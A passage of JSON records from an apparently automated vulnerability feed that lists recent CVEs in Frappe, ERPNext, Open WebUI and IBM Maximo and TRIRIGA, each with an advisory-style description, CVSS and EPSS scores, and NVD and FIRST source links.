2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109604&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109604, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109601","cveId":"CVE-2026-109601","aliases":[],"kind":"vulnerability","title":"Frappe Framework before 15.117.0 and 16.x before 16.30.0 contains an arbitrary file read vulnerability in the handling of attributes in outgoing email HTML.","summary":"Frappe Framework before 15.117.0 and 16.x before 16.30.0 contains an arbitrary file read vulnerability in the handling of attributes in outgoing email HTML. Attackers who can supply outgoing email content can set an attribute value referencing a local file path to expose sensitive server files.","detail":"Frappe Framework before 15.117.0 and 16.x before 16.30.0 contains an arbitrary file read vulnerability in the handling of attributes in outgoing email HTML. Attackers who can supply outgoing email content can set an attribute value referencing a local file path to expose sensitive server files.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:23.823Z","updatedAt":"2026-10-14T13:17:26.260Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109601","asOf":"2026-10-14T13:17:26.260Z"},"epss":{"probability":0.00281,"percentile":0.20364,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109601&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109601","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109601","type":"primary","publishedAt":"2026-10-12T23:17:23.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109601&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109601, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109572","cveId":"CVE-2026-109572","aliases":[],"kind":"vulnerability","title":"Open WebUI from 0.8.6 before 0.11.4 contains a privilege escalation vulnerability in the terminal proxy that allows authenticated users to reach the Terminals administrator API...","summary":"Open WebUI from 0.8.6 before 0.11.4 contains a privilege escalation vulnerability in the terminal proxy that allows authenticated users to reach the Terminals administrator API with the shared key attached. Attackers can send requests through /api/v1/terminals/{server_id}/{path} to list or stop other users' terminals and modify terminal policies, injecting environment variables into other users' terminals.","detail":"Open WebUI from 0.8.6 before 0.11.4 contains a privilege escalation vulnerability in the terminal proxy that allows authenticated users to reach the Terminals administrator API with the shared key attached. Attackers can send requests through /api/v1/terminals/{server_id}/{path} to list or stop other users' terminals and modify terminal policies, injecting environment variables into other users' terminals.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:22.407Z","updatedAt":"2026-10-13T20:39:48.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109572","asOf":"2026-10-13T20:39:48.767Z"},"epss":{"probability":0.00298,"percentile":0.22285,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109572","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109572","type":"primary","publishedAt":"2026-10-12T23:17:22.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102627","cveId":"CVE-2026-102627","aliases":[],"kind":"vulnerability","title":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of file paths during archive...","summary":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of file paths during archive extraction.","detail":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of file paths during archive extraction.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:19.457Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102627","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00525,"percentile":0.44244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102627","type":"primary","publishedAt":"2026-10-12T23:17:19.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-71432","cveId":"CVE-2025-71432","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 14.92.1 and 15.x before 15.83.0 contains a reflected cross-site scripting vulnerability due to missing input validation on a certain page, allowing arbitrary...","summary":"Frappe ERPNext before 14.92.1 and 15.x before 15.83.0 contains a reflected cross-site scripting vulnerability due to missing input validation on a certain page, allowing arbitrary JavaScript to execute in authenticated sessions. Remote attackers can lure a logged-in user into opening a crafted URL to run injected script and take over the victim's account.","detail":"Frappe ERPNext before 14.92.1 and 15.x before 15.83.0 contains a reflected cross-site scripting vulnerability due to missing input validation on a certain page, allowing arbitrary JavaScript to execute in authenticated sessions. Remote attackers can lure a logged-in user into opening a crafted URL to run injected script and take over the victim's account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:19.297Z","updatedAt":"2026-10-19T22:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-71432","asOf":"2026-10-19T22:10:00.130Z"},"epss":{"probability":0.00269,"percentile":0.18837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-71432&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-71432","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71432","type":"primary","publishedAt":"2026-10-12T23:17:19.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-71432&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-71432, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-58390","cveId":"CVE-2024-58390","aliases":[],"kind":"vulnerability","title":"Frappe before 14.81.4 and 15.x before 15.41.0 contains an improper privilege management vulnerability involving a certain document action that permits escalation from the Website...","summary":"Frappe before 14.81.4 and 15.x before 15.41.0 contains an improper privilege management vulnerability involving a certain document action that permits escalation from the Website User role to System Manager. Authenticated attackers with Website User access can combine this document action with additional steps to obtain administrative System Manager privileges in the Frappe application.","detail":"Frappe before 14.81.4 and 15.x before 15.41.0 contains an improper privilege management vulnerability involving a certain document action that permits escalation from the Website User role to System Manager. Authenticated attackers with Website User access can combine this document action with additional steps to obtain administrative System Manager privileges in the Frappe application.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:18.140Z","updatedAt":"2026-10-13T17:17:13.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-58390","asOf":"2026-10-13T17:17:13.740Z"},"epss":{"probability":0.00267,"percentile":0.18699,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-58390&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2024-58390","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58390","type":"primary","publishedAt":"2026-10-12T23:17:18.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-58390&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-58390, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-54412","cveId":"CVE-2023-54412","aliases":[],"kind":"vulnerability","title":"Frappe before 13.46.3 and 14.x before 14.21.1 contains an improper access control vulnerability in Email Template permissions that allows any authenticated non-guest user to...","summary":"Frappe before 13.46.3 and 14.x before 14.21.1 contains an improper access control vulnerability in Email Template permissions that allows any authenticated non-guest user to create and edit any Email Template. Attackers with low-privileged accounts, including self-registered users when signup is enabled, can modify Email Templates used by the application.","detail":"Frappe before 13.46.3 and 14.x before 14.21.1 contains an improper access control vulnerability in Email Template permissions that allows any authenticated non-guest user to create and edit any Email Template. Attackers with low-privileged accounts, including self-registered users when signup is enabled, can modify Email Templates used by the application.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:17.953Z","updatedAt":"2026-10-14T12:17:16.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2023-54412","asOf":"2026-10-14T12:17:16.910Z"},"epss":{"probability":0.00221,"percentile":0.12503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-54412&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2023-54412","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-54412","type":"primary","publishedAt":"2026-10-12T23:17:17.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-54412&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-54412, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-54411","cveId":"CVE-2023-54411","aliases":[],"kind":"vulnerability","title":"Frappe framework before 13.32.0 uses weak authentication for print view access, because the print view key can be derived from data exposed by other whitelisted API endpoints.","summary":"Frappe framework before 13.32.0 uses weak authentication for print view access, because the print view key can be derived from data exposed by other whitelisted API endpoints. Attackers can generate a valid key to view documents through the print view without proper permissions.","detail":"Frappe framework before 13.32.0 uses weak authentication for print view access, because the print view key can be derived from data exposed by other whitelisted API endpoints. Attackers can generate a valid key to view documents through the print view without proper permissions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:17.783Z","updatedAt":"2026-10-15T15:17:17.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2023-54411","asOf":"2026-10-15T15:17:17.620Z"},"epss":{"probability":0.00264,"percentile":0.1805,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-54411&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2023-54411","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-54411","type":"primary","publishedAt":"2026-10-12T23:17:17.783Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-54411&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-54411, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92876","cveId":"CVE-2026-92876","aliases":[],"kind":"vulnerability","title":"IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to uncontrolled recursion.","summary":"IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to uncontrolled recursion.","detail":"IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to uncontrolled recursion.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T22:17:05.947Z","updatedAt":"2026-10-16T18:19:44.063Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92876","asOf":"2026-10-16T18:19:44.063Z"},"epss":{"probability":0.00313,"percentile":0.24001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92876&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92876","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92876","type":"primary","publishedAt":"2026-10-12T22:17:05.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92876&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92876, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90921","cveId":"CVE-2026-90921","aliases":[],"kind":"vulnerability","title":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper handling of malformed frames, resulting in termination of the...","summary":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper handling of malformed frames, resulting in termination of the host process.","detail":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper handling of malformed frames, resulting in termination of the host process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T22:17:05.813Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90921","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00313,"percentile":0.24003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90921&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90921","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90921","type":"primary","publishedAt":"2026-10-12T22:17:05.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90921&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90921, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90912","cveId":"CVE-2026-90912","aliases":[],"kind":"vulnerability","title":"IBM Maximo AI Service 9.1.0, and 9.2.0 SaaS could allow a remote attacker to cause a denial of service due to uncontrolled recursion.","summary":"IBM Maximo AI Service 9.1.0, and 9.2.0 SaaS could allow a remote attacker to cause a denial of service due to uncontrolled recursion.","detail":"IBM Maximo AI Service 9.1.0, and 9.2.0 SaaS could allow a remote attacker to cause a denial of service due to uncontrolled recursion.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T22:17:05.550Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90912","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00313,"percentile":0.24002,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90912&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90912","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90912","type":"primary","publishedAt":"2026-10-12T22:17:05.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90912&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90912, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90911","cveId":"CVE-2026-90911","aliases":[],"kind":"vulnerability","title":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.","summary":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.","detail":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T22:17:05.417Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90911","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00313,"percentile":0.24003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90911&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90911","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90911","type":"primary","publishedAt":"2026-10-12T22:17:05.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 